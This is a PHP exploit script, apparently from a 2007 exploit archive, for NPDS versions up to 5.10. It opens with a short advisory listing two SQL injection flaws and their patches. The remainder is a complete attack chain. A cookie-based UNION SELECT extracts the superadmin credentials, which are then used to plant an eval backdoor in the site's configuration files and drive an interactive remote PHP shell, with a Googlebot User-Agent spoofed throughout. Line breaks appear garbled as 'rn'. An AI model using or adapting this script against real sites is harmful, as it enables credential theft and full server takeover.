<?php
/*---------------------------------------------------------*
NPDS <= 5.10 - Remote Code Execution exploit

[|Description:|]
Security holes were found in NPDS 5.10.

N?°1: Sql Injection in cookies (File Mainfile.php lines 655 to 691).
No check is carried out on nicknames or Id which can allow an attacker
to modify a SQL request so as to obtain data.

N?°2: SQL Injection due to a bad use of "X_FORWARDED_FOR" (file Mainfile.php lines 88 to 110).
NPDS uses the HTTP header "X_FORWARDED_FOR" which normally contains the IP adress
of a person using a non anonymous proxy. This Ip address is used in a SQL resquest without appropriate
filtering, and an attacker can define "X_FORWARDED_FOR" insering malicious SQL code.

[|Advisory:|]
http://www.aeroxteam.fr/advisory-NPDS-5.10.txt

[|Solution:|]
N?°1: File mainfile.php, add after line 665:
$cookie[0] = inval($cookie[0);
$cookie[1] = addslashes($cookie[1]);
$cookie[2] = addslashes($cookie[2]);

N?°2: Replace fonction "getip" (mainfile.php) by:
function getip() {
	return $_SERVER['REMOTE_ADDR'];
}

Gu1ll4um3r0m41n (aeroxteam --[at]-- gmail --[dot]-- com)
for AeroX (AeroXteam.fr)
(C)opyleft 2007
Gr33tz: Darkfig, Spamm, Math?2, Barma, NeoMorphS, Snake91, Kad, Nitr0, BlastKiller, Alkino And everybody from #aerox@irc.epiknet.org
*---------------------------------------------------------*/
if(count($argv) == 5) {
	head();
	echo "rn[+] Connection... ";
	$sock = @fsockopen($argv[1], 80, $eno, $estr, 30);
	if (!$sock) {
		die("FailedrnrnCould not connect to ".$argv[1]." on the port 80 !");
	}
	########
	
	echo "OKrn";
	echo "[+] Logging to account... ";
	$reqlogin = "POST ".$argv[2]."user.php HTTP/1.1rn";
	$reqlogin .= "Host: ".$argv[1]."rn";
	$reqlogin .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)rn";
	$reqlogin .= "Accept: */*rn";
	$reqlogin .= "Connection: closern";
	$reqlogin .= "Referer: http://".$argv[1]."".$argv[2]."user.phprn";
	$reqlogin .= "Content-Type: application/x-www-form-urlencodedrn";
	$reqlogin .= "Content-Length: ".strlen("uname=".$argv[3]."&pass=".$argv[4]."&op=login")."rnrn";
	$reqlogin .= "uname=".$argv[3]."&pass=".$argv[4]."&op=login";
	fwrite($sock, $reqlogin);
	unset($reqlogin);
	$pagelogin = '';
	while(!feof($sock)) {
		$pagelogin .= fgets($sock);
	}
	fclose($sock);
	preg_match("`Set-Cookie: user=(.*?);`", $pagelogin, $cookie);
	if(empty($cookie[1])) {
		die("FailedrnrnCould not login as ".$argv[3]." !");
	} else {
		echo "OKrn";
	}
	
	if(($decoded = base64_decode($cookie[1])) !== false) {
		$exploded = explode(':', $decoded);
		$exploded[0] = "' UNION SELECT CONCAT(0x4055534552, aid, 0x5553455240, 0x204050415353, pwd, 0x5041535340) FROM authors WHERE radminsuper=1 LIMIT 0,1 /*";
		$exploded[8] = 1;
		$cookieuser = base64_encode(implode(':', $exploded));
	}
	########
	
	echo "[+] Getting admin password... ";	
	$sock = @fsockopen($argv[1], 80, $eno, $estr, 30);
	if (!$sock) {
		die("FailedrnrnCould not connect to ".$argv[1]." on the port 80 !");
	}

	$reqpass  = "GET ".$argv[2]."index.php?op=edito HTTP/1.1rn";
	$reqpass .= "Host: ".$argv[1]."rn";
	$reqpass .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)rn";
	$reqpass .= "Accept: */*rn";
	$reqpass .= "Connection: closern";
	$reqpass .= "Cookie: user=".$cookieuser."; user_language=frenchrnrn";
	fwrite($sock, $reqpass);
	unset($reqpass);
	$pagepass = '';
	while(!feof($sock)) {
		$pagepass .= fgets($sock);
	}
	fclose($sock);
	preg_match("`@USER(.*?)USER@ @PASS(.*?)PASS@`", $pagepass, $result);
	unset($pagepass);
	
	if(empty($result[1]) || empty($result[2])) {
		fclose($sock);
		die("Failed !rnrnMaybe not vulnerable ?!");
	} else {
		echo "OKrn";
	}
	########
	
	echo "[+] Login to admin & injecting PHP code... ";
	$sock = @fsockopen($argv[1], 80, $eno, $estr, 30);
	if (!$sock) {
		die("FailedrnrnCould not connect to ".$argv[1]." on the port 80 !");
	}
	
	$cookieadmin = base64_encode($result[1].':'.md5($result[2]));
	
	$reqshell  = "POST ".$argv[2]."admin.php?op=ConfigFiles_save HTTP/1.1rn";
	$reqshell .= "Host: ".$argv[1]."rn";
	$reqshell .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)rn";
	$reqshell .= "Accept: */*rn";
	$reqshell .= "Connection: closern";
	$reqshell .= "Cookie: admin=".$cookieadmin."; user_language=frenchrn";
	$reqshell .= "Referer: http://".$argv[1]."".$argv[2]."admin.phprn";
	$reqshell .= "Content-Type: application/x-www-form-urlencodedrn";
	$reqshell .= "Content-Length: ".strlen("Xtxt=".urlencode("<?phprn   include("modules/aide-contextuelle/AC-header.js");rn   if(!empty($_SERVER['PHPSHELL'])){eval($_SERVER['PHPSHELL']);die();}rn?>")."&Xfiles=header_head&confirm=Sauver+les+modifications")."rnrn";
	$reqshell .= "Xtxt=".urlencode("<?phprn   include_once("modules/ipban/ban.php");rn   if(!empty($_SERVER['HTTP_PHPCODE'])){eval(urldecode(base64_decode($_SERVER['HTTP_PHPCODE'])));die();}rn?>")."&Xfiles=header_before&confirm=Sauver+les+modifications";
	fwrite($sock, $reqshell);
	unset($reqshell);
	$pageshell = '';
	while(!feof($sock)) {
		$pageshell .= fgets($sock);
	}
	fclose($sock);
	
	if(preg_match('`location: admin.php?op=ConfigFiles`', $pageshell)) { $ok = 1; }
	unset($pageshell);
	
	if(!$ok) {
		die("FailedrnrnUnable to write PHP Code");
	} else {
		echo "OKrnrn";
	}
	
	while(1) {
		unset($exec);
		echo "[PhpShell@".$argv[1]."]$ ";
		$input = trim(fgets(STDIN));
		if($input == 'quit' || $input == 'exit') {
			break;
		}
		$sock = @fsockopen($argv[1], 80, $eno, $estr, 30);
		if (!$sock) {
			die("rnCould not connect to ".$argv[1]." on the port 80 !");
		}
		$req  = "GET ".$argv[2]."index.php?op=edito HTTP/1.1rn";
		$req .= "Host: ".$argv[1]."rn";
		$req .= "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)rn";
		$req .= "Accept: */*rn";
		$req .= "PHPCODE: ".urldecode(base64_encode($input))."rn";
		$req .= "Connection: closernrn";
		fwrite($sock, $req);
		unset($req);
		$headers = 0;
		while(!feof($sock)) {
			$buffer = fgets($sock);
			if(!$headers) {
				if($buffer == "rn") { $headers = 1; }
			} else {
				$exec .= $buffer;
			}
		}
		echo $exec."rnrn";
	}
} else {
	usage();
}
function usage() {
	echo "+------------------------------------------------------+rn";
	echo "|      NPDS <= 5.10 Remote Code Execution exploit      |rn";
	echo "|             By Gu1ll4um3r0m41n for AeroX             |rn";
	echo "|              You need a user account !!              |rn";
	echo "|   Usage: php exploit.php site.com /path/ user pass   |rn";
	echo "+------------------------------------------------------+rn";
}
function head() {
	echo "+----------------------------------------------+rn";
	echo "|  MPDS <= 5.10 Remote Code Execution exploit  |rn";
	echo "|         By Gu1ll4um3r0m41n for AeroX         |rn";
	echo "+----------------------------------------------+rnrn";
}
?>

# www.Syue.com [2007-05-04]